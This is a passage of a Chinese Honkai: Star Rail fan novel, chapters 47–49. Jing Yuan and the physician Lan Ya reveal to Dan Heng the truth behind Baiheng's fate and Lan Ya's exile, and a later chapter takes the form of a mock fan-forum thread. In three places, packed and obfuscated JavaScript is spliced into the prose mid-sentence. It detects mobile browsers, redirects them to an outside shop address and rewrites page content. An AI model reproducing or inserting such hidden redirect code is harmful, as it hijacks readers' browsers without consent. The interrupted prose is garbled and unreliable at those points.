丹恒是鳞渊之乱的受害者。他那颗持明卵因为那场动乱被强制孵化,承受了前尘回梦针的副作用,被破碎的前世记忆折磨了很久,最后离开仙舟,被刃一路追杀登上列车。 灵砂刚才那句“活该”,虽然是冲着龙师去的,但鳞渊之乱波及的持明卵里,也包括了丹恒自己的那颗。她的表情僵了一下,赶紧道歉:“对不起,丹恒,我没有说你的意思。” “没事,我知道你不是说我。”丹恒打断了她,“我现在思维有点乱,先回去静一静。”他朝门口走去。 景元从进来之后就一直靠在门边,双手抱在胸前,没有参与任何对话。丹恒经过他身边的时候,景元放下手臂:“我送送你。” 47.第 47 章 星穹列车停在罗浮港的专用泊位上。车厢里此刻只有丹恒和景元二人。 沉默持续了相当长的时间。景元没有催促。 丹恒终于开口了:“当年上战场,手捧黑色太阳吞噬丰饶令使倏忽的,到底是谁?” 景元没有问丹恒是怎么猜到的,也没必要问,丹恒不是猜到的,他是从碎片里看到的,白珩的身影在战场上举起黑色太阳的瞬间,在他的记忆碎片里闪回了一次。 “是兰医师。”景元说。 丹恒停住了,睁大了眼睛。 “准确来说,是假扮成白珩的医师。” 景元的声音不高,语速却不像平时摸鱼时那么懒洋洋,反而像是在把压了几百年的话一个字一个字地从石板底下搬出来。 “这件事,我藏了几百年,知道真相的人只有四个。” 丹恒的瞳孔收缩了一下:“丹枫知道?” “丹枫自始至终都不知道这事。白珩是最后一个知道的,倏忽之乱结束后她才知道。兰医师直接找的我,我答应配合她完成以假乱真之计。” 景元的神色很沉重,神策将军将自己多年来的思考在今天一并吐露:“兰医师没有告诉我更多,但是我事后思来想去,可能与逆世天君有关。” 逆世天君,就是仙舟人口中的「终末」。 “以下都是我个人的推测,不一定成真。你知道的,兰医师可能与逆世天君有关系,除了黑塔空间站的记录,罗浮太卜符玄的师父是玉阙太卜竟天,她说以前看过师父的手稿,当年绝境医师第一次支援仙舟正是驰援玉阙,玉阙太卜竟天以十方光映法界卜算医师的轨迹,只见一片混沌,却有终末的微光萦绕。” 丹恒不说话,静静地听景元继续说下去。 “我猜测医师可能是从逆世天君那里得知了什么,兰医师不愿意让这个结局发生,她选择了最直接的办法——替白珩上战场。但是违抗逆世天君是要付出代价的。” 丹恒的手指在桌面边缘收紧了,他努力平静下来,问:“这与她和丹枫联手砸龙师有什么关系?” 景元没有立刻回答,他看着丹恒,看了好一会儿。 “我知道你是丹恒,你不是丹枫。但你是最接近他的人。”景元说,“你先说说,你觉得他为什么愿意和医师联手砸龙师?” 丹恒沉默了。车厢的灯光照在他的瞳孔里,在苍青色的眼睛映出一小片暖黄色的光。 “因为他自己本来就想要砸。”丹恒说。这并非从记忆碎片里抄来的答案,而是遵从本心的想法。 丹恒闭上眼睛。碎片又涌上来了,这次比之前更清晰。 兰涯的声音:“你要彻底抛弃往昔,离开罗浮。” 丹枫的声音:“你知道你在说什么吗?” “我知道。” “你要我离开罗浮。离开我的族人,我的职责,我的一切。就因为你觉得我需要离开?” “因为你需要离开。你只是没有勇气说‘不’。” 沉默。很长的沉默。然后兰涯的声音又响起来,带着一种很轻的、几乎可以被称为笑意的语调。 “想不想来一场爽了再说的天翻地覆?” “你想做什么?”丹枫的声音沙哑。 “重启持明传承。把所有的龙师都打回蛋的状态,让传承彻底重置。” 碎片在这里变得非常清晰。丹恒看到丹枫猛地抬起头,苍青色的眼睛里有光炸开,像是某种被压了很久很久的东西终于破土而出。 “你知道这意味着什么吗?” “我知道。持明族会大乱。龙师们都成蛋了。仙舟老资历们会暴怒。你可能会吃点苦头。我大概以后再也进不了仙舟了。” “那你还——” “丹枫。”兰涯打断了他,声音像是从另一个时间线传来的频率,“你必须走。” 碎片在这里停住了,停的时间比之前任何一次都长,长到丹恒能看清丹枫眼睛里那团炸开的光是如何一点一点地沉下来,沉成一种凝重的、带着狠劲的暗色,对自己的狠。 “好。”丹枫说,“走。” 碎片消散了。 丹恒睁开眼睛,他的手还放在桌面上,手指已经不再收紧了。 丹恒说:“虽然还有很多不解之谜,但是我不怪他,也不怪她。” 景元靠在椅背上,呼出一口气。 “这事压在我心里太久了。能说出来,真是太好了。” 丹恒看着他,景元靠在椅背上的样子,和平时那个永远从容、永远笑眯眯的神策将军判若两人。 “你那个时候,压力特别大吧。”丹恒说。 景元摆了一下手,幅度不大,像是在挥走一只不太重要的飞虫:“都是过去的事情了。那些恼人的人和事,都过去了。”他的手放回膝盖上,目光落在车厢那头的绿植上,“最遗憾的是白珩去世的时候,兰医师无法参加祭奠。” 丹恒没有说话。 “白珩早早做了准备。她最后一次从医师那里回来的时候,带了一束永生干花,白色和浅紫色的小花,用棉纱条捆着。她跟我说,景元,到时候把这束花放在我的星槎中间,祭奠结束之后,再发消息给兰妈妈。” 景元的声音在这里停了一下。 “她连医师知道她死讯时的心情都考虑到了。祭奠结束之后再发消息,意思是不用让医师人来不了,还心里牵挂着。” 车厢里安静了很长时间。 丹恒开口:“你说,医师被仙舟流放,所以不能来罗浮。但如果治疗椒丘的地点不在仙舟呢?” 景元抬起眼睛。 “列车上。”丹恒说,“星穹列车不是仙舟的领土。医师的流放令禁止她踏入仙舟,但没有禁止她登上星穹列车。” 景元看着丹恒,舒然笑了:“我也是这么想的,医师人品贵重,她会答应的。” 景元没有以罗浮将军的身份,是以景元的个人名义,向兰涯发出请求,措辞很简单:椒丘伤重,丹鼎司力有不逮。恳请医师移步星穹列车施以援手。景元敬上。 回复来得很快,只有一个字。 “好。” 飞霄和貊泽负责把椒丘搬运上列车,说是搬运,其实是貊泽推着轮椅,飞霄走在旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505876|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 灵砂跟在后面,手里提着丹鼎司的急救箱和椒丘的全部诊疗记录。她是丹鼎司司鼎,按理说不需要亲自做这种护送的工作,但她还是来了。 兰涯已经在车厢里了。她站在圆桌旁边,和上次茶会是同一个位置。 她正在翻阅灵砂带来的诊疗记录,一页一页认真地阅读,翻到最后一页的时候,她的手指停了一下。然后她把诊疗记录合上,放在桌面上。 “我不可能把他恢复到完好无整的状态。” 飞霄的耳朵收紧了。 “这涉及到了因果。”兰涯语调平稳,将原因解释清楚,“呼雷之死,因果链上有一个关键节点——他在战前饮下了椒丘的血液,血中含有椒丘预先服下的毒素。如果我将椒丘的身体状态完全回溯到服毒之前,呼雷饮血的因果链就会断裂。呼雷之死的结局也会随之出现变量。” 她的目光从飞霄的耳朵上移到椒丘身上。椒丘的眼睛被药纱蒙着,但他的头微微偏向兰涯的方向,在认真听。 “我能做到的是恢复椒丘的视力,让毒素回溯到没有进入视神经、没有导致退化型病变的阶段。但是毒素引起的血液循环紊乱,后续还需要丹鼎司慢慢调理。” 飞霄的耳朵松了下来。她转向椒丘,刚要开口,椒丘先说话了。 “将军,我说了嘛,能吃能睡没缺胳膊断腿,已经是不幸中的大幸了。现在还能把眼睛捡回来,赚了。” 飞霄看着他,什么都没说,伸手在他肩膀上按了一下。 终末时针与开拓指针在车厢灯光下亮起金色和银色的微光。 兰涯走到椒丘面前,低下头,把针尖分别抵在他的两侧太阳穴上。 针尖触及皮肤的瞬间,金银两色的光芒从针身延伸出去,沿着椒丘头部的经络走向扩散开来。 毒素从当前已经病变的状态,沿着时间流往回走,最终在起点和终点之间建立了一道锚定线,把毒素的影响范围固定在血液循环层面,阻止它再次向视神经蔓延。 整个过程持续了不到两分钟。兰涯把双针收回来,椒丘的药纱还蒙在眼睛上,他的手动了一下,抬到半空中,停住了。 “药纱可以摘了。”兰涯说。 灵砂上前,帮忙轻轻揭下来。 椒丘的眼睛先是闭着,睫毛在车厢灯光下投下细小的阴影。然后他的眼皮动了动,睁开了一条缝,灯光刺得他本能地又闭了一下,然后再睁开,瞳孔在光线下有了高光。 他的目光先落在飞霄脸上,然后移到貊泽身上,再移到灵砂,最后转向兰涯。 “兰医师,神乎其技。”他说,声音里带着一种很少在他身上出现的,说不清楚是笑还是叹的气声。 飞霄在一旁努力控制着自己的情绪,这位曜青的天击将军面对呼雷在自己的内心世界展开夺舍时,意志坚定,毫不动摇,此刻她的眼泪差点流出来。 灵砂站在旁边,她的目光在兰涯的手上停了一下,那双手刚刚完成了一次丹鼎司全体倾力而为都没能做到的治疗,从施针到收针,两分钟。 “绝境二字,分量十足。”灵砂说。 48.第 48 章 飞霄一行人离开车厢的时候,景元没有走。 他站在圆桌旁边,手搭在椅背上,目光从车厢门口收回来,落在兰涯身上。兰涯感觉到景元的目光,抬起头。 两个人对视了一瞬,兰涯微微点了一下头。 丹恒站在窗边,他看着景元和兰涯之间那一瞬的对视,明白了什么。 “去智库吧。”丹恒说。 星穹列车的智库,光线比车厢里暗一些。数据终端的屏幕亮着,兰涯站在数据终端前面,屏幕的光把她的侧脸照得明暗分明。 丹恒坐在终端对面的椅子上,双手放在膝盖上。 景元靠在书架边,和之前在病房里的姿势一样,双臂抱在胸前。 兰涯先开口了:“丹恒,当年的事,我对不起你。” 丹恒认真地看着她。 “我不怪丹枫,”他说,“也不怪你。我只想知道一切是为什么?” 兰涯沉默了一会儿,数据终端的光在她脸上明灭。 “没人通知我现在这个时间点不能说出真相。”她下定决心,说,“那就意味着可以说了。” 她从和白焰的承诺开始讲起,接着讲遇到的终末的黑猫。 “他告诉我,仙舟罗浮的龙尊必须彻底抛开往昔的束缚,在规定的时间点登上星穹列车。我当时不知道这件事与白珩有关,黑猫从不多说。” “倏忽之乱时,我得知了白珩是那个‘必须死’的人选。黑猫进入命途狭间警告我,如果我不让白珩上战场,它会不择手段达成目的。为了规避宇宙终末的命运,根据剧本,白珩死后,丹枫为了复活她引发饮月之乱。正是这场饮月之乱让他众叛亲离,蜕生后在新一世以‘丹恒’的名字登上列车。” 丹恒的手指在膝盖上收紧了:“所以你是为了保住白珩,才假扮成她上战场的。” “是。” “也是为了保住白珩,完成终末的剧本,让我成为无名客,才和丹枫联手砸龙师。” “是。” “然后你被仙舟流放了。” 丹恒的声音在这里颤抖了:“你付出这么多,招来那么多误解,不后悔吗?” 兰涯毫不犹豫地说:“不后悔。” 丹恒感叹:“兰医师,为了固守承诺,为了避开宇宙的终末,你所做的一切,你付出的一切,当得起一个‘义’字。” “仰不愧于天,俯不怍于人。”景元叹道。 景元又问丹恒:“按照你的认知来看,如果白珩真的死了,丹枫为了复活她,结果会怎么样?” 丹恒思考了一会儿,答:“如果是我,我会使用化龙妙法,如果力量不够就加上其他东西,比如倏忽的碎片,本质上是来自不朽鲸落的丰饶力量,创造出一个新的生命。所以,丹枫就算成功了,造出来的也不会是真正的白珩。” 景元听完之后,沉吟片刻,总结:“那比现在更糟。” “所以兰医师选择的那条路,虽然让丹枫和我吃了苦头。但白珩活下来了,丹枫也没有犯下不可挽回的大错。”丹恒停了一下,“从结果来看,这是所有可能性里最不坏的一种。” 景元长长地舒了口气,感觉把压在心里几百年的那口气终于吐出来了:“我这样做也不后悔。只是可叹命运使然,最后还是迎来了分崩离析的结局。” 他的背离开书架,站直了。 “当年那些老资历们,都已经死了。我这么多年整治罗浮政局,把那些盘根错节的势力一根一根清理干净,把年轻一代提拔上来。就是为了有一天,能把兰医师的驱逐令撤销。于情,我们这些小辈都欠医师。于理,于大局,仙舟不可能也绝不应该与医师为敌。” 兰涯看着他:“其实我已经无所谓了。” “我有所谓。仙舟有所谓。”景元说,语气难得的严肃。 丹恒从椅子上站起来。他走到兰涯面前,苍青色的眼睛里映着屏幕的光,仿佛在跃动。 “我很喜欢开拓的道路。在列车上,和三月七、星她们一起走过那些星球,看到那些风景,遇到那些人,经历那些事。这是丹枫从来没有体验过的东西。丹枫梦想中的自己,大概就是我现在的样子,我会坚持继续开拓下去。” 兰涯看着他,她的眼睛微微弯起,笑了。 丹恒看着她的笑容,也笑了,然后他转过身,朝智库门口走去。 “我去把今天的事告诉列车上的大家,他们一定想第一时间知道。” 门在他身后关上了。智库里只剩下兰涯和景元两个人。 景元看着她:“几百年了,终于。” “辛苦你了,景元。” “白珩要是知道今天,会很高兴的。” 提及白珩,兰涯的眼神愈发温柔:“她知道,她告诉过我,宇宙很大。” 白珩的星槎抵达了恒星,她的灵魂归于宇宙,白色和浅紫色的小花放在星槎中间,用棉纱条捆着。 宇宙很大,能装下所有的告别,也能装下所有的重逢。 未来的某一天,一定能再次遇到那个笑得比阳光还灿烂的姑娘,一把抱住自己,喊: “——兰妈妈!” 星抱着兰涯的大腿,额头抵在兰涯的膝盖上,呜呜呜地哭。 三月七站在旁边,眼眶红红的。她听丹恒讲白珩、讲砸龙师、讲流放令的时候,眼泪就已经掉下来了。 但她看到星的行为之后,眼泪停在了脸颊上,伸手去拉星的衣领,星纹丝不动:“哎呀你快起来啦!这像什么样子!” 星把脸从兰涯的膝盖上抬起来,鼻尖红红的,眼睛红红的,看着三月七:“可是兰妈妈她——” “我知道兰妈妈很了不起!我也感动!但你先起来!你把人家衣服哭湿了!”三月七求助地看向丹恒。 丹恒站在窗边,双手抱在胸前,眼睛闭着,他假装这是自己的幻觉。 兰涯低头看着星。星的灰色头发蹭得乱七八糟,几缕碎发翘在头顶上。 她伸出手,手掌落在星的头顶上。手指穿过那些翘起来的碎发,轻轻地、慢慢地往后梳,像那时梳白珩一样。 这个和阿基维利很相似的孩子,至少兰涯记忆中的阿基维利是这样的。 她记忆中的阿基维利是阿哈假扮的——阿哈假扮阿基维利是有依据的,欢愉星神扮演任何人都不需要依据,但扮演阿基维利的时候,祂把那股劲儿学了个十成十。 眼前这个孩子,和阿基维利只有X与Y的不同。毫无理由地信任一个人,毫无保留地扑上去,非常热忱。 兰涯从口袋里掏出一张纸巾,递给星。星接过去,醒了一下鼻子,声音很大。三月七把脸转过去了,没眼看。 姬子站在圆桌另一侧,带着一点无奈:“这孩子就这样。” 兰涯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505877|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光从星身上抬起来,掠过三月七红着眼眶的脸,掠过丹恒闭着眼睛假装幻觉的侧影。 “列车上,都是很纯粹的孩子。”她说。 三月七的眼眶还红着,但嘴角已经忍不住往上翘了。 “兰妈妈这话,是不是也把咱夸进来啦?”她说,声音里还带着一点哭过的沙哑,但语调已经扬起来了。 姬子笑了一声,星终于从兰涯膝盖上抬起了头,用纸巾擦着鼻子,眼睛红红地看着兰涯。 “兰妈妈。以后我可以这样叫你吗?” “嗯。” 星的鼻子又抽了一下,然后她笑了。 后来没多久,仙舟以元帅「华」的名义撤销了绝境医师的驱逐令。 没有公文里常见的“鉴于”“因”“特此”。没有列举理由,没有附加条件。 简简单单一句话:绝境医师兰涯的驱逐令,自即日起撤销。落款是一个单字:华。 兰涯相信那个像只毛茸茸大猫一样的景元,一定花了很多力气。 后来她才知道,景元找了玉阙、朱明、曜青三艘仙舟的将军一起联名上书。不是罗浮一艘仙舟的决定,是四艘。分量之重,重到连元帅华都亲自落款。 这个孩子的心意,从几百年前那个负责把白珩骗出来打晕的年轻云骑开始,一直攒到现在。 列车前往翁法罗斯的路上,三月七的身体开始结冰。 姬子请兰涯前来时,星和丹恒已经前往翁法罗斯开拓了,三月七彻底被冰封住。 她在三月七面前蹲下来,看这个粉色头发的活泼孩子,和当年的公主判若两人,她还记得公主的眼睛如烛光倒映在深潭里,三月七的眼睛却如明媚阳光下的风车,充满着生机。 只是现在三月七和当年一样,再度冰封。 她看向姬子,边上还有黑天鹅,据实以告:“我无法医治。” “三月七不是生病,不是受伤,她本来就在冰封中。”兰涯向忧愁的姬子解释道,“冰封是她存在的一部分,不是可以逆转的事件。” 黑天鹅说:“看来医师的观点和我一样,当一个人受命途影响,丧失了记忆的机能,她的实体也会受到牵连。这些冰晶就是表征之一。” 兰涯看向翁法罗斯那像莫比乌斯环一样的星体,心里莫名地跳了一下,她按捺住这种从未有的悸动,继续说:“如果三月七在匹诺康尼和仙舟时没有大量消耗力量,那可能答案就在翁法罗斯。其实……” 车厢的门突然开了。 卡芙卡站在门口,唇角噙着那抹恰到好处的神秘笑意,目光直接落到兰涯身上:“还好我来得及时,医师。丹恒的事情,现在说的确是没事了。” 卡芙卡的声音不高,语速从容,每个字的尾音都微微上扬:“但是三月七的事情,不行。这里作为命途交汇之处,耳朵太多了。” 她走进车厢,高跟鞋踩在列车地板上,一步一步,节奏和她在矿业带走向兰涯时一模一样。 “医师,星核猎手需要你帮一个忙,想请你看电影。” 态度是半强迫半邀请。语气不强硬,但也不容拒绝。 她站在那里,酒红色的头发在列车灯光下泛着暗沉的光泽,唇角笑意还在,眼睛看着兰涯,等着。 兰涯思考了一下,然后对姬子和黑天鹅说:“没事。” “我们走吧。”她对卡芙卡说。 49.间章·玩家论坛体(一) 【考据氵】从智库到匹诺康尼,深度开扒那位绝境医师,她到底是谁? 楼主 如题。 匹诺康尼主线打完,流梦礁那段剧情直接给我干沉默了。三位无名客的墓碑前站着一个从来没见过的角色,开口就叫黄泉“芽衣”,黄泉居然还回应了。 回来翻遍列车智库,发现关于这位的信息说了跟没说没啥区别,每一条都透着一股“我背后有八百集剧情”的味道。 开个专楼,大家一起扒。 目前已知基础信息(来自智库词条【绝境医师·终末(待进一步确认)】): 名字:兰涯 命途:终末(黑塔备注“待进一步确认”) 特征:发间插着两枚针,一金一银 职业:医生。但是那种“丰饶救不了我来救”的医生 特殊记录:被仙舟联盟处以“流放”之刑,永远不得踏入任何一艘仙舟 先放几条智库原文镇楼: “伤者濒死,丰饶祝祷、丹鼎术法全无效,异端医者以双针施治,无半点丰饶辉光,悖逆常规,非我药王慈怀一脉。”——《丹鼎司战后医疗残卷》 还有更离谱的: “绝境医师被仙舟联盟处以‘流放’之刑——永远不得踏入仙舟联盟的任何一艘仙舟,违者格杀勿论。此为仙舟联盟历史上极为罕见的最高层级驱逐令。” 一个医生,被整个仙舟联盟拉黑,具体发生了什么?仙舟对外还讳莫如深?这谁不好奇啊??? --- 2L: 前排占座! 流梦礁那段我反复看了三遍录屏。 她转过身叫“芽衣”的时候,黄泉那个肉眼可见的喜悦。 而且她带的花是用棉纱条捆的,景元桌上那张白珩慰灵祭奠的照片里也有一束用棉纱条捆的花,是同款吧? 3L: > 2L:同款棉纱条这点我也注意到了!她和白珩的关系绝对不简单。 4L: 绝境医师在智库里的记录本身就够离谱了。我给大家提炼几个重点: 琪一,双针治疗原理未确定。不是丰饶命途,是用两枚针“逆转伤者的时间流向”。博识学会提出假说:她不是“治愈”伤口,是把伤口发生的时间往后推了。细思极恐。 其二,战场生存能力拉满。每次都出现在战场最危险的地方救人,还能又救人又活下来,肯定有两把锤子。 其三,命途存疑。我相信黑塔空间站“待进一步确认”不是乱写的,伟大的黑塔女士一定有她的道理。 5L: > 4L: 芽一!我刚开始过主线,我不怕剧透!所以她和星核猎手有关系吗? 6L: > 5L:目前没有直接证据。但她和卡芙卡确实认识,匹诺康尼剧情里兰涯跟黄泉提了一句“接下来我要去完成卡芙卡的委托了”。 注意是“委托”,说明她是独立于星核猎手之外的人。 7L: 她和黄泉CP感真的好强,什么久别重逢剧情! 8L: > 7L:对对对!我也磕到了! 9L: 她和巡海游侠的关系才是真正的大坑。 智库原文:“巡海游侠参与的战役中,绝境医师出现的概率超过七成。”“宇宙间逐渐形成一种默认认知:绝境医师隶属于巡海游侠。” 流梦礁那段有一个细节。兰涯说:“你们在匹诺康尼的动静太大了,天上的流星惊动了我。” “天上的流星”指的是什么?就是波提欧发的巡海游侠集结信号,无数奔赴匹诺康尼打破太一之梦的游侠们。 10L: 流梦礁那段最让我破防的是她讲述铁尔南游侠时期的故事,老米你就会借人家的嘴给我们捅刀子。 前面主线剧情里,黄泉说她后来在虚无深处遇到了铁尔南,他在超度昔日战友的残魂。他超度完了所有战友,把自己留到了最后,才发现自己已经变成了血罪灵。最后黄泉超度了他,冒充巡海游侠行走宇宙,只为了把铁尔南的遗物物归原主。 这条故事线从诛罗之战一直延伸到匹诺康尼,横跨了几个琥珀纪。 11L: 最后兰涯站在墓碑前说:“我欠他们公义。” 啊啊啊老米你坏事做尽! 12L: 等等,按照这个时间线推算,诛罗之战发生在起码十个琥珀纪之前。兰涯那时候就已经是绝境医师在战场上救人了。 十个琥珀纪。 她到底多少岁了???而且流梦礁剧情里她的建模,那张脸,实不相瞒她真好看! 13L: > 12L:她真好看!颜值是真的能打。黑蓝银渐变的那身衣服,带点仙舟风格,我截图键按烂了。 那种沉静又深邃的气质,和黄泉站在一起的时候,双倍的美貌暴击。 你们都是我的翅膀! 14L: > 13L:你翅膀也太多了吧,上次在别的楼里也看到你,你有十几个翅膀。 15L: > 13L:花火:鸡翅膀男孩应该让你来当。 16L: 讲到她身上那件带点仙舟风格的衣服,现在最大的谜团之一就来了,仙舟流放令。 智库原文:“自第二次丰饶民战争解围仙舟「玉阙」开始,绝境医师曾助力仙舟多次,但在倏忽之乱后被仙舟联盟处以流放之刑——永远不得踏入仙舟联盟的任何一艘仙舟,违者格杀勿论。” 为什么要把一个助力仙舟多次的医师赶出仙舟?倏忽之乱后到底发生了什么了? 17L: 关于这点,我在仙舟版本把所有能翻的文本都翻了一遍。绝境医师的名字在仙舟公开档案里完全找不到,但有一些边角料可能有关联。 首先是时间线,流放令的生效时间,智库写的是“倏忽之乱后”。 倏忽之乱发生了什么我们都知道,丰饶令使倏忽入侵仙舟罗浮,最后结果是罗浮云骑军十不存一,腾骁将军战死,白珩手捧黑色太阳吞噬了倏忽。 云上五骁就是这个时间点后出事的,发生了一件仙舟历史上极其敏感的事件——鳞渊之乱。 18L: 鳞渊之乱!终于有人提这个了! 给大家科普一下目前能拼出来的鳞渊之乱碎片(注意:仙舟官方档案对此事高度加密,以下内容来自多个支线文本拼凑,可能存在缺失): - 倏忽之战后,持明族内部发生动荡。龙尊丹枫在战场上差点龙狂,战后蜕生。 - 有几个龙尊狂热分子不甘心,提前让丹枫蜕生后的持明卵孵化了。他们偷偷使用了“前尘回梦针”——一种可以强行唤醒蜕生后持明族前世记忆的禁术。目的很明确:让新生的龙尊带着丹枫的全部记忆和力量苏醒,让持明再次伟大。 - 为了促进孵化,他们联合药王秘传的残余,使用了倏忽的枝条(对,就是那场大战遗落在战场上的丰饶令使残片)。 - 几个断后的人正好被前来路过的镜流和应星看到,他俩一路跟踪到鳞渊境。双方发生战斗。 - 战斗波及了周围的持明卵。 - 倏忽的碎片在战斗中寄生在了应星身上。为了控制倏忽复生,镜流的魔阴身发作,杀了在场的狂热分子。等云骑军赶到时,只看到一地狼藉。 - 后续:镜流被拘禁后逃离罗浮,下落不明。应星被倏忽血肉感染转化为长生种,堕入魔阴,经历肉身异变后以“刃”之名加入星核猎手。丹枫的蛋提前破壳,新生的丹恒被前尘回梦针副作用影响,前世记忆碎片不定期浮现,最终离开仙舟,被刃一路追杀上了列车。 - 云上五骁,此事件后只剩景元和白珩。白珩也离开仙舟,以无名客身份漫游宇宙,直至寿终。最后仙舟只留下景元一人。 19L: > 18L:谢谢科普,看完我人傻了。所以绝境医师的流放令和这件事有关? 20L: > 19L:目前没有直接证据,但我的直觉告诉我,倏忽之乱后一定发生了什么,才会导致鳞渊之乱。 21L: > 20L:直觉,你以为你是岚啊? 22L: 说到鳞渊之乱,我补充一个大家都知道的细节。在仙舟,你去找景元问这件事,他永远在打太极。 “此事说来话长。”“将军我还有公务要处理。”“年轻人多关注当下,少翻旧账。” 一次两次是巧合,次次都这样就是有问题了。景元是鳞渊之乱后唯一留在仙舟核心权力层的云上五骁成员,他肯定知道全部真相。但他选择不说。 23L: 白珩的人生轨迹也很奇怪。白珩是倏忽之乱的战斗英雄,手捧黑色太阳吞噬丰饶令使的狠人。按理说这种级别的英雄战后怎么说也该高官厚禄吧?结果她选择了离开仙舟,去当无名客。 她自己说的是“这是我的梦想”“不想给景元太多压力”。 一个战斗英雄需要靠离开故乡来给朋友减轻压力,这政局得微妙成什么样? 24L: 景元确实厉害。云上五骁散了三个,白珩远行,就剩他一个人。罗浮仙舟那些老资历,他硬是以一人之力全部镇压,整顿了整个罗浮的政局,甚至把老资历们都熬死了,提拔了一大批新生代。 所以他现在整天一副摸鱼瞌睡的样子,可能是真的累了几百年了。 25L: 看了上面的讨论,我现在满脑子只有一个想法! 兰涯和仙舟之间到底发生过什么,编剧你什么时候填坑??? 26L: 好了家人们,上面是智库和仙舟版本的考据。我们回到匹诺康尼。 流梦礁那段剧情,除了三位无名客的刀子和黄泉兰涯相认的温情,还有一个爆炸性信息差点被大家忽略了。 「爷:“金色的是时钟的时针,银色的是罗盘的指针?” 兰涯:“不愧是无名客,这么多个琥珀纪来,从来没有人发现银色的是开拓的指针。” 丹恒:“智库的内容需要修改了。绝境医师不只是终末命途,双针中的一枚是开拓的指针,她同时在两条命途上行走。”」 她是双命途行者! 终末+开拓。两个方向完全相反的命途,在她身上同时存在。 她是怎么做到的? 27L: > 26L:这个问题智库里的亲历者目击记录已经告诉我们答案了。 “第一枚金针刺入伤者躯体后,伤处溃烂停止,第二枚银针刺入后,组织发生肉眼可见的愈合,生命体征在数秒至数分钟内恢复至脱离危险的水平。” 已知:金针是终末。银针是开拓。 解:她先用终末的力量让伤口不再溃烂。再用开拓的力量改变伤口的时间线,最终锚定躯体时间。 答:她是那个锚定器。 这个设定真的太酷了。 28L: > 27L:数学解方程高手哪! 29L: 我能再吃一口兰泉吗? 黄泉说“你变了好多,以前比人偶、智械还要没有活人感,像个没感情的工具,现在眼睛里有了很多情感”。 还说“你从痛苦和虚无中爬出来了。你抓住了生命中稍纵即逝的一点红色。那颗种子终究开出了美丽的花,结出了甜美的果实。” 黄泉说这段话的时候语气温柔得不像一个虚无令使。 30L: CP名都已经出来了吗? 补充一个,兰涯叫黄泉“芽衣”本身就很值得琢磨。 黄泉在剧情里从来没有公开提过自己以前叫芽衣,只有单独对爷说过。 兰涯这样叫她,黄泉说:“你这样称呼我,我很喜欢。” 兰涯认识的可能是早期的黄泉。 31L: 黄泉想起兰涯的名字的时候,兰涯很欣慰,还说:“当初分别的时候,你说,‘如果我们再见的那一天,我被虚无磨损到忘记了你,请你务必呼唤我的名字,不要躲着我。’现在,你还记得我。” 这是什么女同事约定,久到黄泉自己都记忆模糊了,但兰涯记得她叫“芽衣”。 32L: 对对,还有吃冰激凌的时候,兰涯说:“我第一次吃冰激凌的时候,想到的第一件事是——以后一定要请你吃。” 她把这个念头在心里放了多少年? 33L: 黄泉还握着兰涯的手教她拔刀,送她伞,什么爱情啊! 我支持兰泉这门亲事! 34L: 我支持兰泉这门亲事! 35L: 我支持兰泉这门亲事! 36L: 我支持兰泉这门亲事! ——分割线,楼主回来了—— 楼主: 出去打了把模拟宇宙冷静了一下。继续更新。 折纸大学睡蕉小猴任务做完了吗各位?没做完的先去把任务清了,然后再来看接下来的讨论。 这段支线表面上是帮乱破调查折纸大学的模因病毒传播,实际上是官方给兰涯的背景又填了一铲子土。 先说结论:绝境医师在巡海游侠中的地位,比我们之前想象的还要高得多。 55L: 抓蕉授的过场动画已看十遍。兰涯医师单手托着封住蕉授的透明球的那个镜头,我反复拉进度条。 她那个表情,在流梦礁的时候多温和一个人,和黄泉吃冰激凌的时候眼神柔软得不行。 结果抓蕉授的时候,眼睛里的温度直接归零,笑得好渗人,虽然但是,她真好看。 56L: 波提欧在匹诺康尼见到兰涯时的态度,是过任务时最让我震撼的细节。 你们回想一下波提欧平时什么样。“宝了个贝的”“喵的”,联觉信标翻译出来的鸟语花香能把斯科特骂到自闭。 结果在兰涯面前:“辛苦兰医师了。”恭敬得我差点以为他被斯科特夺舍了。 当然,爷当场就吐槽了这一点。 能让波提欧把满嘴鸟语花香全部收起来的人,全宇宙有几个? 57L: > 56L:斯科特:你礼貌吗?为什么我要挨骂? 58L: 波提欧的态度说明一件事:巡海游侠内部对兰涯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505878|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定位,从来不是“合作者”或“编外医师”。 乱破叫她“命溯·御前”。这个称呼我切了语言确认过,日语文本用的是「御前(ごぜん )」,英语文本用的是日语的罗马音「御前(Gozen)」,一个专门用于称呼地位极高、尊贵显赫之人的敬称。日本历史上巴御前、静御前都是著名女性武者,但“御前”这个词本身男女通用,天皇至今还在用。 